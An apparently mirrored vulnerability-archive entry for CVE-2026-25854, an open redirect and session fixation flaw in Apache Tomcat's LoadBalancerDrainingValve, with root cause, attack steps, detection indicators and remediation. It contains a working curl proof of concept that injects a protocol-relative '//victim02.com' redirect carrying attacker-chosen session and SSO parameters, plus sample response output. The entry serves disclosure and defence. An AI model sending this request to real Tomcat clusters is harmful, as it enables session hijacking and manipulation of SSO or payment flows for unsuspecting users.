PoC Archive PoC Archive
Medium CVE-2026-25854 patched

Apache Tomcat LoadBalancerDrainingValve — Cross-System Open Redirect / Session Fixation (CVE-2026-25854)

by gregk4sec · 2026-07-05

CVSS 6.1/10
Severity
Medium
CVE
CVE-2026-25854
Category
web
Affected product
Apache Tomcat (clustered, using LoadBalancerDrainingValve)
Affected versions
Tomcat 11.0.x / 10.1.x / 9.x prior to the fix in 11.0.20 (per vendor bulletin)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / Researchergregk4sec
CVE / AdvisoryCVE-2026-25854
Categoryweb
SeverityMedium
CVSS Score6.1 (Medium)
StatusPoC
Tagsapache-tomcat, open-redirect, session-fixation, load-balancer, cwe-601, sso, clustering, draining-valve
RelatedN/A

Affected Target

FieldValue
Software / SystemApache Tomcat (clustered, using LoadBalancerDrainingValve)
Versions AffectedTomcat 11.0.x / 10.1.x / 9.x prior to the fix in 11.0.20 (per vendor bulletin)
Language / PlatformShell/curl (PoC); target is Java (Apache Tomcat)
Authentication RequiredNo
Network Access RequiredYes

Summary

When a Tomcat cluster node is marked disabled/draining, its LoadBalancerDrainingValve invalidates the invalid/stale session and constructs a redirect using the raw, attacker-supplied request URI. If that URI begins with //, Tomcat preserves the double slash, and browsers interpret the resulting Location header as a protocol-relative URL pointing to an entirely different host. In organizations running multiple trusted domains behind the same cluster (e.g., victim01.com and victim02.com), this lets an attacker force a redirect from one domain to another while smuggling attacker-controlled session/flow parameters (such as a JSESSIONID or SSO token/flowId) into the target domain’s request. The PoC is a single curl command that reproduces the malformed redirect against a draining node.


Vulnerability Details

Root Cause

LoadBalancerDrainingValve builds its post-invalidation redirect target directly from the raw request URI without rejecting or normalizing URIs that start with //, which browsers treat as protocol-relative (i.e., cross-host) URLs.

Attack Vector

  1. Attacker identifies a Tomcat cluster node currently marked as disabled/draining (e.g., via the X-LB-Activation header behavior).
  2. Attacker sends a request with an invalid session ID and a URI of the form //victim02.com/<path>;JSESSIONID=<attacker-chosen>?token=...&uid=...&flowId=....
  3. The Valve invalidates the session and issues a 302 redirect with Location: //victim02.com/..., preserving the attacker-controlled path and query parameters.
  4. The victim’s browser follows the protocol-relative redirect to victim02.com, carrying the attacker-injected session ID and SSO/flow parameters, potentially binding the victim’s identity or session state on the second system to attacker-controlled values.

Impact

Cross-system open redirect combined with attacker-controlled session/flow parameter injection, which can facilitate session fixation or manipulation of SSO/OIDC/payment authorization flows across cooperating domains.


Environment / Lab Setup

Target:   Apache Tomcat cluster node with LoadBalancerDrainingValve configured, in "draining" state
Attacker: curl

Proof of Concept

PoC Script

See CVE-2026-25854.sh in this folder.

1
2
curl "http://localhost:8080//victim02.com/sso;JSESSIONID=attacker_victim02_sessionid;jsessionid=abcd.node03?token=AttackerInjectedToken&uid=AttackerUid&flowId=maliciousFlowId" \
  -H "X-LB-Activation:DIS" -i

Sends a crafted request to a draining Tomcat node with a //-prefixed URI; the response is a 302 with a Location header preserving the double-slash (protocol-relative) target and the attacker-supplied session/flow parameters, confirming the cross-domain redirect.


Detection & Indicators of Compromise

Signs of compromise:

  • Location response headers starting with // originating from Tomcat cluster nodes
  • Unexpected cross-domain redirects observed during SSO/OIDC or payment flow completion
  • Session IDs or flow parameters appearing in redirect target URLs that were not generated by the application itself

Remediation

ActionDetail
Primary fixUpgrade to the patched Apache Tomcat release referenced in the vendor bulletin (security-11.html, fixed in 11.0.20 per vendor advisory)
Interim mitigationDisable LoadBalancerDrainingValve if not required, or front Tomcat with a proxy/WAF rule that rejects or normalizes request URIs beginning with // before they reach the Valve

References


Notes

Mirrored from https://github.com/gregk4sec/CVE-2026-25854 on 2026-07-05.

CVE-2026-25854.sh
1
2
3
4
5
curl "http://localhost:8080//victim02.com/sso;JSESSIONID=attacker_victim02_sessionid;jsessionid=abcd.node03?token=AttackerInjectedToken&uid=AttackerUid&flowId=maliciousFlowId" -H "X-LB-Activation:DIS" -i
# HTTP/1.1 302
# Location: //victim02.com/sso;JSESSIONID=attacker_victim02_sessionid?token=AttackerInjectedToken&uid=AttackerUid&flowId=maliciousFlowId
# Content-Length: 0
# Date: Fri, 30 Jan 2026 19:12:45 GMT